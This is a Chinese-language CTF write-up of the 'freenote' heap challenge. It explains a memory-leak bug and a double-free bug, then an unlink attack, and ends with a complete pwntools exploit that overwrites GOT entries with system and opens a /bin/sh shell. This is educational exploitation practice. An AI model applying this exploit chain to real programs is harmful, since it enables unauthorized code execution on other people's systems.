这道题利用了unlink,unlink的利用原理我已经讲过了,以这个题来实列操作一下,加深对unlink利用的认识
查看保护机制
程序分析
在IDA查看一下主函数
可以看到程序中有四个功能函数,该程序是一个记事本程序,功能上基本就是添加记录、打印列出所有记录、编辑记录、删除记录。简单分析一下各函数的作用。
1、sub_400a49:创建记录索引表,具体就是分配一个大堆,堆里面存了各条记录存储区的指针(看后面分析就知道各条记录都malloc了一个堆来保存)。
2、sub_400998:就是让你输入一个操作选项,没什么好说的,这里没有漏洞可以利用。
3、sub_400bc2:新建记录,进去以后的具体实现就是,让你输入记录内容长度和记录内容,然后检查长度有没有超最大限制,正常就malloc一个存储这条记录的堆块,然后以你输入的长度为标准一个一个把记录内容读进这个堆块。注意malloc堆块时有这样一个操作:
这表示分配堆块的大小是0x80的整数倍。最后就是把这条记录的有关信息写进索引表;
4、sub_400b14:输出功能,遍历索引表,打印所有记录的标号和记录内容,标号从0开始。
5、sub_400d87:编辑功能,依据上述记录标号找到相应记录,然后edit。
6、sub_400f7d:删除功能,仍旧依据上述标号找到相应记录,然后重置其索引表为未使用态,并free掉对应的记录堆块。
索引表数据结构:
head不用管,是索引表大堆块的块首,不属于用户区;
max_size表示能存储的最大的记录数量,exist_num表示已有的记录个数;
再往后就是每三个数据构成一个索引项,索引项的结构体的三个数据分别代表:0/1是指该项有无记录引用,0是没有,1是有记录,size_user是记录的长度,ptr_heap是存储记录的堆块的用户区指针。
漏洞
1、新建记录函数中实现读入记录内容的子函数里面存在漏洞,正常情况下长度为n的字符串,是有包含’x00’结束符在内的n+1个ascii,但是这里并没有把结束符读进来,少了结束符,在打印记录时就不会正确的停下来,也就可以实现内存泄露!
内存泄露用于结合偏移计算heap_base以及system地址。
2、double free漏洞
输入一个标号后,程序并没有检查索引表中标号位置的索引项的第一个成员变量是否已经为0、也没有检查对应索引项的堆指针成员变量指向的堆内存是否已经被free,也就是说,即使这个索引项已经删过记录了,你还可以再删它一次,再像没事儿人一样对ptr_heap再进行一次free,而在程序代码中,free之后并没有将对应堆指针置空,这就对同一堆块free了两次,造成了double free漏洞!
思路
添加四个Note
释放note[0]和note[2],此时note[0]的bk指向note[2]的chunk,note[2]的bk指向main_arena+0x58(两个chunk都进入unsorted bin)
再次添加2个note,payload长度为8,注意结尾不要是\x00
利用list泄露NOTE管理块的地址和libc基地址
将四个note全部删除
添加一个note,长度要能包含进最开始的3个note的chunk
伪造一个chunk,大小为0x80,fd为note[0]-0x18, bk为note[0]-0x10,利用unlink把NOTE管理块中note[0]的地址改为note[0]-0x18
把note]0]改为atoi的got,然后编辑note[0],改为system地址
输入/bin/sh,获取shell
先申请4个chunk,然后free(0)和free(2),防止合并;然后在申请2个chunk,只写入8字节,就可以leak出heap和libc的基地址;
在heap基地址偏移0x30的地方有我们需要的NOTE管理块的地址
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.log_level = 'debug'
if sys.argv[0]=="l":
p=process('./freenote')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p=remote('node3.buuoj.cn',28843)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
e=ELF('./freenote')
def List():
p.recvuntil('Your choice: ')
p.sendline('1')
def new(cont):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(len(cont)))
p.recvuntil('Enter your note: ')
p.sendline(cont)
def edit(num,cont):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(num))
p.recvuntil('Length of note: ')
p.sendline(str(len(cont)))
p.recvuntil('Enter your note: ')
p.sendline(cont)
def delete(num):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(num))
new('a'*0x80)
new('b'*0x80)
new('c'*0x80)
new('d'*0x80)
delete(0)
delete(2)
new('11111111')
new('22222222')
List()
p.recvuntil('11111111')
s=p.recvuntil('\x0a')
chunk2=u64(s[:-1].ljust(8,'\x00'))
heap_addr=chunk2-0x1940
point_chunk0=heap_addr+0x30
print hex(heap_addr)
delete(1)
delete(2)
delete(3)
#unlink
payload = p64(0x90)+p64(0x81)+p64(point_chunk0-0x18)+p64(point_chunk0-0x10)
payload +='a'*0x60
payload += p64(0x80)+p64(0x90)
payload +='c'*0x80+p64(0x90)+p64(0x121)
edit(0,payload)
delete(1)
#free_got->system
free_got_addr=e.got['free']
print hex(free_got_addr)
payload2=p64(4)+p64(1)+p64(0x8)+p64(free_got_addr)
payload2+=p64(1)+p64(0x8)+p64(chunk2)
payload2+=p64(1)+p64(0x8)+p64(e.got['atoi'])
payload2+='\x00'*(0x120-80)
edit(0,payload2)
p.recvuntil('Your choice: Invalid!\n')
List()
p.recvuntil('2. ')
atoi_in_server=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
system_in_server=libc.symbols['system']+atoi_in_server-libc.symbols['atoi']
#gdb.attach(proc.pidof(p)[0])
payload3=p64(system_in_server)
edit(0,payload3)
edit(1,"/bin/sh\x00")
delete(1)
p.interactive()
exp解释
chunk2_bk – 88 = main_arena ,chunk2_bk – 88 – main_arena= libc_base ,其中main_arena = 0x3be760 .
那么 chunk0_bk 减的 0x1940 是怎么得到的呢?heap_base应该是main函数执行后程序分配到的第一个堆的基地址,而程序分配的第一个堆是索引表,IDA结合f5可以看到索引表堆块用户区大小是0x1810,索引表堆块的head占0x10,因此索引表堆块whole_size=0x1820;chunk0_bk指向的是chunk2,索引表堆块和chunk2之间隔了一个chunk0加一个chunk1,因此这块间隔的大小就是(0x10+0x80)*2=0x120;因此chunk0_bk所指向的位置到heap_base的总偏移量就等于0x1820+0x120=0x1940.